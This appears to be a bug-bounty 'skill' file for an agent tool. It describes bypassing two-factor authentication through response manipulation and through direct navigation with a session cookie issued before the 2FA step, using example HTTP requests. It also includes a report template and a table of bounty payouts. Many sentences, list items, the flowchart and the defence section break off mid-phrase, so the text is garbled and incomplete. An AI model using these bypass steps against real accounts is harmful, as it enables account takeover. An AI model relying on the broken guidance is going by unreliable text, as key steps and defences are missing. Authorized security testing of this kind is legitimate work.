$npx -y skills add ShulkwiSEC/bb-huge --skill 2fa-bypassExploit pervasive logical flaws in Multi-Factor Authentication (MFA/2FA) implementations to bypass the secondary authentication challenge entirely. Techniques include response manipulation, referal spoofing, token reuse, and predictable backup codes.
| 1 | # 2FA / MFA Bypass |
| 2 | |
| 3 | ## When to Use |
| 4 | - When auditing the authentication flow of a web or mobile application that implements SMS, Authenticator App (TOTP), or Email-based 2FA. |
| 5 | - To demonstrate how an attacker with compromised primary credentials (username/password) might circumvent the secondary layer of defense due to faulty business logic or state management by the server. |
| 6 | |
| 7 | |
| 8 | ## Prerequisites |
| 9 | - Authorized scope and target URLs from bug bounty program |
| 10 | - Burp Suite Professional (or Community) configured with browser proxy |
| 11 | - Familiarity with OWASP Top 10 and common web vulnerability classes |
| 12 | - SecLists wordlists for fuzzing and enumeration |
| 13 | |
| 14 | ## Workflow |
| 15 | |
| 16 | ### Phase 1: Understanding 2FA Implementation Flaws |
| 17 | |
| 18 | ```text |
| 19 | # Concept: 2FA should be an unbreakable mathematical barrier However, developers often |
| 20 | # implement the logic Common Flaws : |
| 21 | # 1. Response Manipulation: Altering the server's boolean response . |
| 22 | # 2. Status Code Manipulation: Changing a 401 Unauthorized to a 200 OK 3. Direct Object Reference (Incomplete Auth): Navigating 4. Token Reuse/Predictability: 5. Rate Limit Missing: ``` |
| 23 | |
| 24 | ### Phase 2: Exploitation via Response Manipulation |
| 25 | |
| 26 | ```http |
| 27 | # Concept: The server sends a boolean indicating if the 2FA code was correct 1. The Intercept (Attacker enters a wrong code: 000000) POST /api/v1/2fa/verify HTTP/1.1 |
| 28 | Host: target.com |
| 29 | {"code": "000000"} |
| 30 | |
| 31 | # 2. The Original Response HTTP/1.1 401 Unauthorized |
| 32 | {"success": false, "message": "Invalid code"} |
| 33 | |
| 34 | # 3. The Manipulation (Using Burp Suite 'Match and Replace' or manual interception ) |
| 35 | HTTP/1.1 200 OK |
| 36 | {"success": true, "message": "Authenticated"} |
| 37 | |
| 38 | # Result If the frontend exclusively handles the 2FA state ``` |
| 39 | |
| 40 | ### Phase 3: Exploitation via Direct Routing Bypass (State Mismatch) |
| 41 | |
| 42 | ```http |
| 43 | # Concept: Sometimes, after validating the password the server sets the primary session cookie BEFORE the required 2FA 1. Login POST /login HTTP/1.1 |
| 44 | {"username": "victim", "password": "Password1!"} |
| 45 | |
| 46 | # Response HTTP/1.1 302 Found |
| 47 | Set-Cookie: session_id=abc123validthing; |
| 48 | Location: /2fa-challenge |
| 49 | |
| 50 | # 2. The Bypass Instead of following the redirect GET /dashboard HTTP/1.1 |
| 51 | Host: target.com |
| 52 | Cookie: session_id=abc123validthing; |
| 53 | |
| 54 | # Result ``` |
| 55 | |
| 56 | ### Phase 4: Exploitation via Token Guessing / Brute Force |
| 57 | |
| 58 | ```text |
| 59 | # Concept If a site ``` |
| 60 | |
| 61 | #### Decision Point 🔀 |
| 62 | ```mermaid |
| 63 | flowchart TD |
| 64 | A[Compromise ] --> B[Encounter 2FA Challenge ] |
| 65 | B --> C{Does ]} |
| 66 | C -->|Yes| D[Test ] |
| 67 | C -->|No| E[Check D --> F[Bypass ] |
| 68 | ``` |
| 69 | |
| 70 | ## 🔵 Blue Team Detection & Defense |
| 71 | - **Server-Side Validation**: Ensure **Rate Limiting (Strict)**: Implement **State Flow Enforcement**: The server Key Concepts |
| 72 | | Concept | Description | |
| 73 | |---------|-------------| |
| 74 | ## Output Format |
| 75 | ``` |
| 76 | 2Fa Bypass — Assessment Report |
| 77 | ============================================================ |
| 78 | Target: [Target identifier] |
| 79 | Assessor: [Operator name] |
| 80 | Date: [Assessment date] |
| 81 | Scope: [Authorized scope] |
| 82 | MITRE ATT&CK: [Relevant technique IDs] |
| 83 | |
| 84 | Findings Summary: |
| 85 | [Finding 1]: [Severity] — [Brief description] |
| 86 | [Finding 2]: [Severity] — [Brief description] |
| 87 | |
| 88 | Detailed Results: |
| 89 | Phase 1: [Phase name] |
| 90 | - Result: [Outcome] |
| 91 | - Evidence: [Screenshot/log reference] |
| 92 | - Impact: [Business impact assessment] |
| 93 | |
| 94 | Phase 2: [Phase name] |
| 95 | - Result: [Outcome] |
| 96 | - Evidence: [Screenshot/log reference] |
| 97 | - Impact: [Business impact assessment] |
| 98 | |
| 99 | Risk Rating: [Critical/High/Medium/Low/Informational] |
| 100 | Recommendations: |
| 101 | 1. [Immediate remediation step] |
| 102 | 2. [Long-term hardening measure] |
| 103 | 3. [Monitoring/detection improvement] |
| 104 | ``` |
| 105 | |
| 106 | |
| 107 | ## 💰 Industry Bounty Payout Statistics (2024-2025) |
| 108 | |
| 109 | | Company/Platform | Total Paid | Highest Single | Year | |
| 110 | |-----------------|------------|---------------|------| |
| 111 | | **Google VRP** | $17.1M | $250,000 (CVE-2025-4609 Chrome sandbox escape) | 2025 | |
| 112 | | **Microsoft** | $16.6M | (Not disclosed) | 2024 | |
| 113 | | **Google VRP** | $11.8M | $100,115 (Chrome MiraclePtr Bypass) | 2024 | |
| 114 | | **HackerOne (all programs)** | $81M | $100,050 (crypto firm) | 2025 | |
| 115 | | **Meta/Facebook** | $2.3M | up to $300K (mobile code execution) | 2024 | |
| 116 | | **Crypto.com (HackerOne)** | $2M program | $2M max | 2024 | |
| 117 | | **1Password (Bugcrowd)** | $1M max | $1M (highest Bugcrowd ever) | 2024 | |
| 118 | | **Samsung** | $1M max | $1M (critical mobile flaws) | 2025 | |
| 119 | |
| 120 | **Key Takeaway**: Google alone paid $17.1M in 2025 — a 40% increase YoY. |